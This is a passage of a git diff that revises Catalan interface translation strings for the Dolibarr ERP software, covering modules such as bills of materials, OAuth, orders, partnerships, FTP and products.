      «filter» és una condició sql, exemple: «status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)» +TypeOfFieldsHelpIntro=Aquest és el tipus de camp/atribut. AsciiToHtmlConverter=Convertidor Ascii a HTML AsciiToPdfConverter=Convertidor Ascii a PDF TableNotEmptyDropCanceled=La taula no està buida. S'ha cancel·lat l'eliminació. ModuleBuilderNotAllowed=El creador de mòduls està disponible però no permès al vostre usuari. ImportExportProfiles=Importar i exportar perfils -ValidateModBuilderDesc=Establiu-ho a 1 si voleu que el mètode $this->validateField() de l'objecte es cridi per validar el contingut del camp durant la inserció o l'actualització. Establiu 0 si no es requereix validació. +ValidateModBuilderDesc=Establiu-ho a 1 si voleu que es cridi el mètode $this->validateField() de l'objecte per va alidar el contingut del camp durant la inserció o l'actualització. Establiu-ho a 0 si no es requereix validació. WarningDatabaseIsNotUpdated=Avís: la base de dades no s'actualitza automàticament, heu de destruir les taules i desactivar-habilitar el mòdul perquè es tornin a crear taules. LinkToParentMenu=Menú principal (fk_xxxxmenu) ListOfTabsEntries=Llista d'entrades de pestanyes TabsDefDesc=Definiu aquí les pestanyes proporcionades pel vostre mòdul TabsDefDescTooltip=Les pestanyes proporcionades pel vostre mòdul/aplicació es defineixen a la matriu $this->tabs al fitxer descriptor del mòdul. Podeu editar manualment aquest fitxer o utilitzar l'editor incrustat. BadValueForType=Valor incorrecte per al tipus %s +DefinePropertiesFromExistingTable=Definiu propietats a partir d'una taula existent +DefinePropertiesFromExistingTableDesc=Si ja existeix una taula a la base de dades (per a que l'objecte es creï), podeu utilitzar-la per a definir les propietats de l'objecte. +DefinePropertiesFromExistingTableDesc2=Manteniu-lo buit si la taula encara no existeix. El generador de codi utilitzarà diferents tipus de camps per a crear un exemple de taula que podeu editar més tard. +GeneratePermissions=Vull afegir els permisos d'aquest objecte +GeneratePermissionsHelp=generar permisos per defecte per a aquest objecte +PermissionDeletedSuccesfuly=El permís s'ha eliminat correctament +PermissionUpdatedSuccesfuly=El permís s'ha actualitzat correctament +PermissionAddedSuccesfuly=El permís s'ha afegit correctament +MenuDeletedSuccessfuly=El menú s'ha suprimit correctament +MenuAddedSuccessfuly=El menú s'ha afegit correctament +MenuUpdatedSuccessfuly=El menú s'ha actualitzat correctament diff --git a/htdocs/langs/ca_ES/mrp.lang b/htdocs/langs/ca_ES/mrp.lang index ac57dc2e1cd..e1a7ad8c7b2 100644 --- a/htdocs/langs/ca_ES/mrp.lang +++ b/htdocs/langs/ca_ES/mrp.lang @@ -11,10 +11,10 @@ Bom=Llista de materials BillOfMaterials=Llista de materials BillOfMaterialsLines=Línies de llista de materials BOMsSetup=Configuració del mòdul BOM -ListOfBOMs=Llista de factures de material - BOM -ListOfManufacturingOrders=Llista d'ordres de fabricació +ListOfBOMs=Llistats de materials - BOM +ListOfManufacturingOrders=Ordres de fabricació NewBOM=Llista nova de materials -ProductBOMHelp=Producte per crear (o desmuntar) amb aquesta llista de material.
      Nota: Els productes amb la propietat 'Nature of product' = 'Matèria primera' no són visibles en aquesta llista. +ProductBOMHelp=Producte per a crear (o desmuntar) amb aquesta llista de material.
      Nota: Els productes amb la propietat 'Natura del producte' = 'Matèria primera' no són visibles en aquesta llista. BOMsNumberingModules=Plantilles de numeració BOM BOMsModelModule=Plantilles de document BOM MOsNumberingModules=Models de numeració OF @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Esteu segur que voleu clonar la llista de materials ConfirmCloneMo=Esteu segur que voleu clonar la Ordre de Fabricació %s? ManufacturingEfficiency=Eficiència en la fabricació ConsumptionEfficiency=Eficiència del consum +Consumption=Consum ValueOfMeansLoss=El valor de 0,95 significa una mitjana de 5%% de pèrdua durant la fabricació o el desmuntatge ValueOfMeansLossForProductProduced=Un valor de 0,95 significa una mitjana de 5%% de pèrdues de producte produït DeleteBillOfMaterials=Suprimeix la llista de materials @@ -82,7 +83,8 @@ ProductsToProduce=Productes a produir UnitCost=Cost unitari TotalCost=Cost total BOMTotalCost=El cost de produir aquesta Llista de materials en funció del cost de cada quantitat i producte a consumir (utilitza el preu de cost si està definit, altrament el preu mitjà ponderat si està definit, altrament el millor preu de compra) -GoOnTabProductionToProduceFirst=Per tancar una Ordre de fabricació primer heu d'iniciar la producció (vegeu la pestanya '%s'). Però sí podeu cancel·lar-la. +BOMTotalCostService=Si el mòdul «Estació de treball» està activat i una estació de treball està definida per defecte a la línia, el càlcul és «quantitat (convertida en hores) x ahr de l'estació de treball», en cas contrari «quantitat (convertida en hores) x preu de cost del servei» +GoOnTabProductionToProduceFirst=Per a tancar una Ordre de fabricació primer heu d'iniciar la producció (vegeu la pestanya «%s»). Però podeu cancel·lar-la. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Un kit no es pot utilitzar en una llista de material o en una OF Workstation=Estació de treball Workstations=Estacions de treball @@ -100,15 +102,23 @@ NbOperatorsRequired=Nombre d'operadors necessaris THMOperatorEstimated=Operador estimat THM THMMachineEstimated=Màquina THM estimada WorkstationType=Tipus d'estació de treball +DefaultWorkstation=Estació de treball per defecte Human=Humà Machine=Màquina HumanMachine=Humà / Màquina WorkstationArea=Zona d’estació de treball Machines=Màquines THMEstimatedHelp=Aquesta taxa permet definir un cost previst de l'article -BOM=Factura de materials +BOM=Llista de materials CollapseBOMHelp=Podeu definir la visualització per defecte dels detalls de la nomenclatura a la configuració del mòdul BOM MOAndLines=Comandes i línies de fabricació -MoChildGenerate=Generate Child Mo -ParentMo=MO Parent -MOChild=MO Child +MoChildGenerate=Genera Child Mo +ParentMo=MO Pare +MOChild=MO Nen +BomCantAddChildBom=La nomenclatura %s ja està present a l'arbre que porta a la nomenclatura %s +BOMNetNeeds = Necessitats netes +BOMProductsList=Productes de BOM +BOMServicesList=Serveis de BOM +Manufacturing=Fabricació +Disassemble=Desmuntar +ProducedBy=Produït per diff --git a/htdocs/langs/ca_ES/oauth.lang b/htdocs/langs/ca_ES/oauth.lang index 8c0cc35de63..3ee0725f0f2 100644 --- a/htdocs/langs/ca_ES/oauth.lang +++ b/htdocs/langs/ca_ES/oauth.lang @@ -9,10 +9,11 @@ HasAccessToken=S'ha generat un token i s'ha desat en la base de dades local NewTokenStored=Token rebut i desat ToCheckDeleteTokenOnProvider=Feu clic aquí per a comprovar/eliminar l'autorització desada pel proveïdor OAuth %s TokenDeleted=Token eliminat +GetAccess=Feu clic aquí per a obtenir un testimoni RequestAccess=Feu clic aquí per sol·licitar/renovar l'accés i rebre un nou testimoni -DeleteAccess=Feu clic aquí per a suprimir el testimoni +DeleteAccess=Feu clic aquí per a eliminar el testimoni UseTheFollowingUrlAsRedirectURI=Utilitzeu l'URL següent com a URI de redirecció quan creeu les vostres credencials amb el vostre proveïdor de OAuth: -ListOfSupportedOauthProviders=Afegiu els vostres proveïdors de testimoni OAuth2. A continuació, aneu a la pàgina d'administració del vostre proveïdor d'OAuth per crear/obtenir un ID i un secret OAuth i deseu-los aquí. Un cop fet, activeu l'altra pestanya per generar el vostre testimoni. +ListOfSupportedOauthProviders=Afegiu els vostres proveïdors de testimoni OAuth2. A continuació, aneu a la pàgina d'administració del vostre proveïdor d'OAuth per a crear/obtenir un ID i un secret OAuth i deseu-los aquí. Un cop fet, activeu l'altra pestanya per a generar el vostre testimoni. OAuthSetupForLogin=Pàgina per gestionar (generar/suprimir) fitxes OAuth SeePreviousTab=Veure la pestanya anterior OAuthProvider=Proveïdor d'OAuth @@ -27,10 +28,14 @@ OAUTH_GOOGLE_SECRET=OAuth Google Secret OAUTH_GITHUB_NAME=Servei OAuth GitHub OAUTH_GITHUB_ID=OAuth GitHub Id OAUTH_GITHUB_SECRET=OAuth GitHub Secret -OAUTH_URL_FOR_CREDENTIAL=Aneu a aquesta pàgina per crear o obtenir el vostre identificador i secret d'OAuth +OAUTH_URL_FOR_CREDENTIAL=Aneu a aquesta pàgina per a crear o obtenir el vostre identificador i secret d'OAuth OAUTH_STRIPE_TEST_NAME=OAuth Stripe Test OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=ID OAuth +OAUTH_ID=OAuth Client ID OAUTH_SECRET=Secret d'OAuth +OAUTH_TENANT=Inquilí d'OAuth OAuthProviderAdded=S'ha afegit el proveïdor OAuth -AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Ja existeix una entrada d'OAuth per a aquest proveïdor i l'etiqueta +AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Ja existeix una entrada d'OAuth per a aquest proveïdor i nom +URLOfServiceForAuthorization=URL proporcionat pel servei OAuth per a l'autenticació +Scopes=Permisos (àmbits) +ScopeUndefined=Permissions (Scopes) undefined (see previous tab) diff --git a/htdocs/langs/ca_ES/opensurvey.lang b/htdocs/langs/ca_ES/opensurvey.lang index a19413eadc3..f063774f1a3 100644 --- a/htdocs/langs/ca_ES/opensurvey.lang +++ b/htdocs/langs/ca_ES/opensurvey.lang @@ -23,7 +23,7 @@ OpenSurveyHowTo=Si accepteu votar en aquesta enquesta, haureu de donar el vostre CommentsOfVoters=Comentaris dels votants ConfirmRemovalOfPoll=Està segur que desitja eliminar aquesta enquesta (i tots els vots) RemovePoll=Eliminar enquesta -UrlForSurvey=URL per indicar l'accés directe a l'enquesta +UrlForSurvey=URL per a indicar un accés directe a l'enquesta PollOnChoice=Està creant una enquesta amb múltiples opcions. Primer introdueixi totes les opcions possibles per aquesta enquesta: CreateSurveyDate=Crear una enquesta de data CreateSurveyStandard=Crear una enquesta estàndard @@ -31,7 +31,7 @@ CheckBox=Casella de selecció simple YesNoList=Llista (buit/sí/no) PourContreList=Llista (buit/a favor/en contra) AddNewColumn=Afegeix una columna nova -TitleChoice=Títol de l'opció +TitleChoice=Nom d'elecció ExportSpreadsheet=Exportar resultats a un full de càlcul ExpireDate=Data límit NbOfSurveys=Nombre d'enquestes diff --git a/htdocs/langs/ca_ES/orders.lang b/htdocs/langs/ca_ES/orders.lang index 5660430496e..744d5d8bf79 100644 --- a/htdocs/langs/ca_ES/orders.lang +++ b/htdocs/langs/ca_ES/orders.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - orders +OrderExists=Ja hi havia una comanda oberta vinculada a aquesta proposta, de manera que no es va crear cap altra comanda automàticament OrdersArea=Àrea comandes de clients SuppliersOrdersArea=Àrea de comandes de compra OrderCard=Fitxa comanda @@ -84,8 +85,8 @@ OrdersOpened=Comandes a processar NoDraftOrders=Sense comandes esborrany NoOrder=Sense comanda NoSupplierOrder=Sense comanda de compra -LastOrders=Últimes %scomandes de vendes -LastCustomerOrders=Últimes %scomandes de vendes +LastOrders=Últimes %s comandes de vendes +LastCustomerOrders=Últimes %s comandes de vendes LastSupplierOrders=Últimes %s comandes de compra LastModifiedOrders=Últimes %s comandes modificades AllOrders=Totes les comandes @@ -95,6 +96,10 @@ OrdersStatisticsSuppliers=Estadístiques de comandes de compra NumberOfOrdersByMonth=Nombre de comandes per mes AmountOfOrdersByMonthHT=Quantitat de comandes per mes (sense IVA) ListOfOrders=Llistat de comandes +ListOrderLigne=Línies de comandes +productobuy=Productes només per a comprar +productonly=Només productes +disablelinefree=Sense línies lliures CloseOrder=Tancar comanda ConfirmCloseOrder=Vols classificar aquesta comanda com entregada? Un cop s'entrega la comanda, es podrà classificar com a facturada. ConfirmDeleteOrder=Vols eliminar aquesta comanda? @@ -103,9 +108,9 @@ ConfirmUnvalidateOrder=Vols restaurar la comanda %s a l'estat esborrany? ConfirmCancelOrder=Vols anul·lar aquesta comanda? ConfirmMakeOrder=Vols confirmar la creació d'aquesta comanda a data de %s? GenerateBill=Facturar -ClassifyShipped=Classifica enviat +ClassifyShipped=Marca lliurat PassedInShippedStatus=classificat lliurat -YouCantShipThis=Això no ho puc classificar. Si us plau, comproveu els permisos dels usuaris +YouCantShipThis=Això no ho puc classificar. Comproveu els permisos dels usuaris DraftOrders=Esborranys de comandes DraftSuppliersOrders=Esborrany de comandes de compra OnProcessOrders=Comandes en procés @@ -130,6 +135,7 @@ SupplierOrderClassifiedBilled=Comanda de compra %s com a facturada OtherOrders=Altres comandes SupplierOrderValidatedAndApproved=La comanda del proveïdor està validada i aprovada: %s SupplierOrderValidated=La comanda del proveïdor està validada: %s +OrderShowDetail=Mostra el detall de la comanda ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Ordre de venda de seguiment representatiu TypeContact_commande_internal_SHIPPING=Responsable del seguiment de l'enviament @@ -159,7 +165,7 @@ CreateInvoiceForThisCustomer=Facturar comandes CreateInvoiceForThisSupplier=Facturar comandes CreateInvoiceForThisReceptions=Recepcions de factures NoOrdersToInvoice=Sense comandes facturables -CloseProcessedOrdersAutomatically=Classifica com a "Processades" totes les comandes seleccionades. +CloseProcessedOrdersAutomatically=Marca com a «Processades» totes les comandes seleccionades. OrderCreation=Creació comanda Ordered=Comandat OrderCreated=Les vostres comandes s'han creat @@ -198,3 +204,5 @@ StatusSupplierOrderApproved=Aprovat StatusSupplierOrderRefused=Rebutjat StatusSupplierOrderReceivedPartially=Rebuda parcialment StatusSupplierOrderReceivedAll=Tots els productes rebuts +NeedAtLeastOneInvoice = Hi ha d'haver almenys una factura +LineAlreadyDispatched = La línia de comanda ja s'ha rebut. diff --git a/htdocs/langs/ca_ES/other.lang b/htdocs/langs/ca_ES/other.lang index 25afe2f2f8d..5e08f5f3ab7 100644 --- a/htdocs/langs/ca_ES/other.lang +++ b/htdocs/langs/ca_ES/other.lang @@ -31,10 +31,10 @@ NextYearOfInvoice=Any següent de la data de la factura DateNextInvoiceBeforeGen=Data de la propera factura (abans de la generació) DateNextInvoiceAfterGen=Data de la propera factura (després de la generació) GraphInBarsAreLimitedToNMeasures=Els gràfics es limiten a %s mesures en mode "Bars". En el seu lloc, s'ha seleccionat automàticament el mode "Línies". -OnlyOneFieldForXAxisIsPossible=Actualment només és possible 1 camp com a Eix X. Només s’ha seleccionat el primer camp seleccionat. +OnlyOneFieldForXAxisIsPossible=Actualment, només és possible 1 camp com a eix X. Només s'ha seleccionat el primer camp seleccionat. AtLeastOneMeasureIsRequired=Almenys 1 camp per a la mesura és obligatori AtLeastOneXAxisIsRequired=Almenys 1 camp per a l'Eix X és obligatori -LatestBlogPosts=Darreres publicacions al bloc +LatestBlogPosts=Últimes publicacions del blog notiftouser=A usuaris notiftofixedemail=Al correu fix notiftouserandtofixedemail=A l'usuari i correu fix @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Ordre de compra aprovat Notify_ORDER_SUPPLIER_REFUSE=S'ha rebutjat l'ordre de compra Notify_PROPAL_VALIDATE=Validació pressupost client Notify_PROPAL_CLOSE_SIGNED=La proposta del client ha tancat la signatura +Notify_PROPAL_CLOSE_SIGNED_WEB=Pressupost de client tancat i signat a la pàgina del portal Notify_PROPAL_CLOSE_REFUSED=La proposta del client es va tancar refusada +Notify_PROPAL_CLOSE_REFUSED_WEB=S'ha rebutjat i tancat el pressupost de client a la pàgina del portal Notify_PROPAL_SENTBYMAIL=Enviament pressupost per e-mail Notify_WITHDRAW_TRANSMIT=Transmissió domiciliació Notify_WITHDRAW_CREDIT=Abonament domiciliació @@ -79,7 +81,7 @@ Notify_TASK_MODIFY=Tasca modificada Notify_TASK_DELETE=Tasca eliminada Notify_EXPENSE_REPORT_VALIDATE=Informe de despeses validat (cal aprovar) Notify_EXPENSE_REPORT_APPROVE=Informe de despeses aprovat -Notify_HOLIDAY_VALIDATE=Sol·licitud de sol licitud validada (cal aprovar) +Notify_HOLIDAY_VALIDATE=Sol·licitud de dies lliures validada (cal aprovació) Notify_HOLIDAY_APPROVE=Sol·licitud de permís aprovada Notify_ACTION_CREATE=S'ha afegit l'acció a l'Agenda SeeModuleSetup=Vegi la configuració del mòdul %s @@ -181,6 +183,7 @@ SizeUnitfoot=peu SizeUnitpoint=punt BugTracker=Incidències SendNewPasswordDesc=Aquest formulari et permet sol·licitar una nova contrasenya. S'enviarà a la teva adreça de correu electrònic.
      El canvi es farà efectiu una vegada facis clic a l'enllaç de confirmació del correu electrònic.
      Comprova la teva safata d'entrada. +EnterNewPasswordHere=Introduïu la vostra nova contrasenya aquí BackToLoginPage=Tornar a la pàgina de connexió AuthenticationDoesNotAllowSendNewPassword=El mode d'autenticació de Dolibarr està configurat com "%s".
      En aquest mode Dolibarr no pot conèixer ni modificar la seva contrasenya
      Contacti amb l'administrador per conèixer les modalitats de canvi. EnableGDLibraryDesc=Instal·leu o activeu la biblioteca GD a la instal·lació de PHP per a utilitzar aquesta opció. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=La factura %s ha estat validada. EMailTextInvoicePayed=S'ha pagat la factura %s. EMailTextProposalValidated=S'ha validat la proposta %s. EMailTextProposalClosedSigned=La proposta %s s'ha tancat amb la signatura. +EMailTextProposalClosedSignedWeb=La proposta %s s'ha tancat signada a la pàgina del portal. +EMailTextProposalClosedRefused=La proposta %s ha estat tancada i rebutjada. +EMailTextProposalClosedRefusedWeb=La proposta %s s'ha tancat a la pàgina del portal. EMailTextOrderValidated=S'ha validat l'ordre %s. EMailTextOrderApproved=S'ha aprovat l'ordre %s. EMailTextOrderValidatedBy=L'ordre %s ha estat registrada per %s. @@ -219,8 +225,8 @@ EMailTextOrderRefusedBy=L'ordre %s ha estat rebutjat per %s. EMailTextExpeditionValidated=S'ha validat l'enviament %s. EMailTextExpenseReportValidated=L'informe de despeses %s ha estat validat. EMailTextExpenseReportApproved=S'ha aprovat l'informe de despeses %s. -EMailTextHolidayValidated=S'ha validat la sol licitud %s. -EMailTextHolidayApproved=S'ha aprovat la sol licitud %s. +EMailTextHolidayValidated=La sol·licitud de dies lliures %s s'ha validat. +EMailTextHolidayApproved=La sol·licitud de dies lliures %s s'ha aprovat. EMailTextActionAdded=L'acció %s s'ha afegit a l'agenda. ImportedWithSet=Lot d'importació (import key) DolibarrNotification=Notificació automàtica @@ -238,7 +244,7 @@ UseAdvancedPerms=Usar els drets avançats en els permisos dels mòduls FileFormat=Format d'arxiu SelectAColor=Tria un color AddFiles=Afegeix arxius -StartUpload=Transferir +StartUpload=Inicia la càrrega CancelUpload=Cancel·lar transferència FileIsTooBig=L'arxiu és massa gran PleaseBePatient=Si us plau sigui pacient... @@ -251,7 +257,7 @@ ClickHereToGoTo=Clica aquí per anar a %s YouMustClickToChange=De totes formes, primer heu de fer clic al següent enllaç per a validar aquest canvi de contrasenya ConfirmPasswordChange=Confirmeu el canvi de contrasenya ForgetIfNothing=Si vostè no ha sol·licitat aquest canvi, simplement ignori aquest e-mail. Les seves credencials són guardades de forma segura -IfAmountHigherThan=si l'import es major que %s +IfAmountHigherThan=Si l'import és superior a %s SourcesRepository=Repositori de fonts Chart=Gràfic PassEncoding=Codificació de contrasenya @@ -277,8 +283,8 @@ LoginWith=Inicieu sessió amb %s ##### Export ##### ExportsArea=Àrea d'exportacions AvailableFormats=Formats disponibles -LibraryUsed=Llibreria utilitzada -LibraryVersion=Versió de la llibreria +LibraryUsed=Biblioteca utilitzada +LibraryVersion=Versió de la biblioteca ExportableDatas=Dades exportables NoExportableData=No hi ha dades exportables (sense mòduls amb dades exportables carregats, o no tenen permisos) ##### External sites ##### @@ -287,7 +293,7 @@ WEBSITE_PAGEURL=URL de pàgina WEBSITE_TITLE=Títol WEBSITE_DESCRIPTION=Descripció WEBSITE_IMAGE=Imatge -WEBSITE_IMAGEDesc=Ruta relativa dels suports d’imatge. Podeu mantenir-la buida, ja que rarament es fa servir (pot ser utilitzada per contingut dinàmic per a mostrar una miniatura a la llista de publicacions del bloc). Utilitzeu __WEBSITE_KEY__ a la ruta si aquesta depèn del nom del lloc web (per exemple: image/__ WEBSITE_KEY __ /stories/lamevaimatge.png). +WEBSITE_IMAGEDesc=Camí relatiu del suport d'imatge. Podeu mantenir-lo buit, ja que s'utilitza rarament (pot ser utilitzat per contingut dinàmic per a mostrar una miniatura en una llista d'entrades del bloc). Utilitzeu __WEBSITE_KEY__ al camí si el camí depèn del nom del lloc web (per exemple: image/__WEBSITE_KEY__/stories/lamevaimatge.png). WEBSITE_KEYWORDS=Paraules clau LinesToImport=Línies per importar @@ -300,7 +306,7 @@ ProductStatistics=Productes / Serveis Estadístiques NbOfQtyInOrders=Quantitat en comandes SelectTheTypeOfObjectToAnalyze=Seleccioneu un objecte per a veure'n les estadístiques... -ConfirmBtnCommonContent = Esteu segur que voleu "%s"? +ConfirmBtnCommonContent = Esteu segur que voleu «%s»? ConfirmBtnCommonTitle = Confirmeu la vostra acció CloseDialog = Tancar Autofill = Emplenament automàtic @@ -311,10 +317,10 @@ ExternalSiteURL=URL del lloc extern del contingut iframe HTML ExternalSiteModuleNotComplete=El mòdul Lloc web extern no ha estat configurat correctament. ExampleMyMenuEntry=La meva entrada del menú -# FTP +# ftp FTPClientSetup=Configuració del mòdul Client FTP o SFTP -NewFTPClient=Configuració nova de la connexió FTP/FTPS -FTPArea=Àrea FTP/FTPS +NewFTPClient=Nova configuració de connexió FTP/SFTP +FTPArea=Àrea FTP/SFTP FTPAreaDesc=Aquesta pantalla mostra una vista d'un servidor FTP i SFTP. SetupOfFTPClientModuleNotComplete=La configuració del mòdul Client FTP o SFTP sembla incompleta FTPFeatureNotSupportedByYourPHP=El vostre PHP no admet funcions FTP o SFTP @@ -325,3 +331,9 @@ FTPFailedToRemoveDir=No s'ha pogut eliminar la carpeta %s : comproveu el FTPPassiveMode=Mode passiu ChooseAFTPEntryIntoMenu=Tria un lloc FTP/SFTP del menú... FailedToGetFile=No s'han pogut obtenir els fitxers %s +ErrorFTPNodisconnect=Error en desconnectar el servidor FTP/SFTP +FileWasUpload=S'ha penjat el fitxer %s +FTPFailedToUploadFile=No s'ha pogut carregar el fitxer %s . +AddFolder=Crea una carpeta +FileWasCreateFolder=S'ha creat la carpeta %s +FTPFailedToCreateFolder=No s'ha pogut crear la carpeta %s . diff --git a/htdocs/langs/ca_ES/partnership.lang b/htdocs/langs/ca_ES/partnership.lang index 7254e26fcea..29182a4d6dd 100644 --- a/htdocs/langs/ca_ES/partnership.lang +++ b/htdocs/langs/ca_ES/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=Gestió de la col·laboració PartnershipDescription=Mòdul Gestió de la col·laboració PartnershipDescriptionLong= Mòdul Gestió de la col·laboració Partnership=Associació +Partnerships=Col·laboracions AddPartnership=Afegiu associació CancelPartnershipForExpiredMembers=Associació: cancel·leu l'associació de membres amb subscripcions caducades PartnershipCheckBacklink=Associació: consulteu l'enllaç de retrocés de referència @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Associació: consulteu l'enllaç de retrocés de refer # Menu # NewPartnership=Nova associació +NewPartnershipbyWeb=La vostra sol·licitud d'associació s'ha afegit correctament. Ens posarem en contacte amb tu aviat... ListOfPartnerships=Llista d'associació # @@ -36,7 +38,7 @@ ListOfPartnerships=Llista d'associació PartnershipSetup=Configuració de l'associació PartnershipAbout=Quant a Partnership PartnershipAboutPage=Associació sobre la pàgina -partnershipforthirdpartyormember=L'estat de soci s'ha de definir en un "tercer" o un "membre". +partnershipforthirdpartyormember=L'estatus de soci s'ha de definir com a «tercer» o «soci» PARTNERSHIP_IS_MANAGED_FOR=Associació gestionada per PARTNERSHIP_BACKLINKS_TO_CHECK=Retroenllaços per a comprovar PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=Nb de dies abans de cancel·lar l'estat d'una associació quan la subscripció ha caducat @@ -50,7 +52,7 @@ PublicFormRegistrationPartnerDesc=Dolibarr us pot proporcionar un URL/lloc web p DeletePartnership=Suprimiu una associació PartnershipDedicatedToThisThirdParty=Associació dedicada a aquest tercer PartnershipDedicatedToThisMember=Associació dedicada a aquest membre -DatePartnershipStart=Data inicial +DatePartnershipStart=Data d'inici DatePartnershipEnd=Data final ReasonDecline=Rebutjar la raó ReasonDeclineOrCancel=Rebutjar la raó @@ -90,5 +92,5 @@ LastCheckBacklink=Data de l'última comprovació de l'URL ReasonDeclineOrCancel=Rebutjar la raó NewPartnershipRequest=Nova sol·licitud de col·laboració -NewPartnershipRequestDesc=Aquest formulari us permet sol·licitar formar part d'un dels nostres programes d'associació. Si necessiteu ajuda per omplir aquest formulari, poseu-vos en contacte amb el correu electrònic %s . +NewPartnershipRequestDesc=Aquest formulari us permet sol·licitar formar part d'un dels nostres programes d'associació. Si necessiteu ajuda per a omplir aquest formulari, poseu-vos en contacte amb el correu electrònic %s. diff --git a/htdocs/langs/ca_ES/paybox.lang b/htdocs/langs/ca_ES/paybox.lang index 2dd9b7e3f54..876772c26b0 100644 --- a/htdocs/langs/ca_ES/paybox.lang +++ b/htdocs/langs/ca_ES/paybox.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - paybox PayBoxSetup=Configuració mòdul PayBox -PayBoxDesc=Aquest mòdul ofereix pàgines per permetre el pagament a Paybox per part dels clients. Això es pot utilitzar per a un pagament gratuït o per a un pagament d'un objecte Dolibarr concret (factura, comanda, ...) +PayBoxDesc=Aquest mòdul ofereix pàgines per a permetre el pagament a Paybox per part dels clients. Això es pot utilitzar per a un pagament gratuït o per a un pagament d'un objecte Dolibarr concret (factura, comanda, ...) FollowingUrlAreAvailableToMakePayments=Les següents URL estan disponibles per a permetre a un client fer un cobrament en objectes de Dolibarr PaymentForm=Formulari de pagament WelcomeOnPaymentPage=Benvingut als nostres serveis de pagament en línia @@ -19,8 +19,8 @@ YourPaymentHasNotBeenRecorded=El vostre pagament no s'ha registrat i la transacc AccountParameter=Paràmetres del compte UsageParameter=Paràmetres d'ús InformationToFindParameters=Ajuda per a trobar la vostra informació del compte %s -PAYBOX_CGI_URL_V2=Url del mòdul CGI Paybox de pagament -CSSUrlForPaymentForm=Url del full d'estil CSS per al formulari de pagament +PAYBOX_CGI_URL_V2=URL del mòdul CGI de Paybox per al pagament +CSSUrlForPaymentForm=URL del full d'estil CSS per al formulari de pagament NewPayboxPaymentReceived=S'ha rebut el nou pagament de Paybox NewPayboxPaymentFailed=S'ha provat el nou pagament de Paybox, però ha fallat PAYBOX_PAYONLINE_SENDEMAIL=Notificació per correu electrònic després de l'intent de pagament (èxit o fracàs) diff --git a/htdocs/langs/ca_ES/products.lang b/htdocs/langs/ca_ES/products.lang index 0db9bb1aec9..928872a1a96 100644 --- a/htdocs/langs/ca_ES/products.lang +++ b/htdocs/langs/ca_ES/products.lang @@ -1,9 +1,9 @@ # Dolibarr language file - Source file is en_US - products ProductRef=Ref. producte -ProductLabel=Etiqueta producte -ProductLabelTranslated=Etiqueta de producte traduïda +ProductLabel=Nom del producte +ProductLabelTranslated=Nom del producte traduït ProductDescription=Descripció del producte -ProductDescriptionTranslated=Descripció de producte traduïda +ProductDescriptionTranslated=Descripció del producte traduït ProductNoteTranslated=Nota de producte traduïda ProductServiceCard=Fitxa producte/servei TMenuProducts=Productes @@ -43,7 +43,7 @@ ServicesOnSaleOnly=Serveis només en venda ServicesOnPurchaseOnly=Serveis només per compra ServicesNotOnSell=Serveis no a la venda i no per a la compra ServicesOnSellAndOnBuy=Serveis en venda o de compra -LastModifiedProductsAndServices=Últims productes / serveis %s que es van modificar +LastModifiedProductsAndServices=Últims %s productes/serveis que s'han modificat LastRecordedProducts=Últims %s productes registrats LastRecordedServices=Últims %s serveis registrats CardProduct0=Producte @@ -80,11 +80,11 @@ SoldAmount=Import venut PurchasedAmount=Import comprat NewPrice=Preu nou MinPrice=Mín. preu de venda -EditSellingPriceLabel=Edita l'etiqueta de preu de venda +EditSellingPriceLabel=Edita el nom del preu de venda CantBeLessThanMinPrice=El preu de venda no pot ser inferior al mínim permès per a aquest producte (%s sense IVA). Aquest missatge també pot aparèixer si escriviu un descompte massa gran. ContractStatusClosed=Tancat ErrorProductAlreadyExists=Un producte amb la referència %s ja existeix. -ErrorProductBadRefOrLabel=El valor de la referència o etiqueta és incorrecte +ErrorProductBadRefOrLabel=Valor incorrecte de referència o nom. ErrorProductClone=S'ha produït un error en intentar clonar el producte o servei. ErrorPriceCantBeLowerThanMinPrice=Error, el preu no pot ser inferior al preu mínim Suppliers=Proveïdors @@ -127,7 +127,7 @@ ProductParentList=Llista de kits amb aquest producte com a component ErrorAssociationIsFatherOfThis=Un dels productes seleccionats és pare del producte en curs DeleteProduct=Eliminar un producte/servei ConfirmDeleteProduct=Esteu segur de voler eliminar aquest producte/servei? -ProductDeleted=El producte/servei "%s" s'ha eliminat de la base de dades. +ProductDeleted=El producte/servei «%s» s'ha eliminat de la base de dades. ExportDataset_produit_1=Productes ExportDataset_service_1=Serveis ImportDataset_produit_1=Productes @@ -146,10 +146,10 @@ NoSupplierPriceDefinedForThisProduct=No hi ha cap preu / quantitat de proveïdor PredefinedItem=Element predefinit PredefinedProductsToSell=Producte predefinit PredefinedServicesToSell=Servei predefinit -PredefinedProductsAndServicesToSell=Productes/serveis predefinits per vendre -PredefinedProductsToPurchase=Producte predefinit per comprar -PredefinedServicesToPurchase=Serveis predefinits per comprar -PredefinedProductsAndServicesToPurchase=Productes / serveis predefinits per comprar +PredefinedProductsAndServicesToSell=Productes/serveis predefinits a vendre +PredefinedProductsToPurchase=Producte predefinit per a comprar +PredefinedServicesToPurchase=Serveis predefinits per a comprar +PredefinedProductsAndServicesToPurchase=Productes/serveis predefinits per a comprar NotPredefinedProducts=Sense productes/serveis predefinits GenerateThumb=Generar l'etiqueta ServiceNb=Servei núm. %s @@ -178,7 +178,7 @@ StateOrigin=Estat | Província d'origen Nature=Naturalesa del producte (en brut / fabricat) NatureOfProductShort=Naturalesa del producte NatureOfProductDesc=Matèria primera o producte fabricat -ShortLabel=Etiqueta curta +ShortLabel=Nom curt Unit=Unitat p=u. set=conjunt @@ -258,10 +258,10 @@ ProductsMultiPrice=Productes i preus per cada nivell de preu 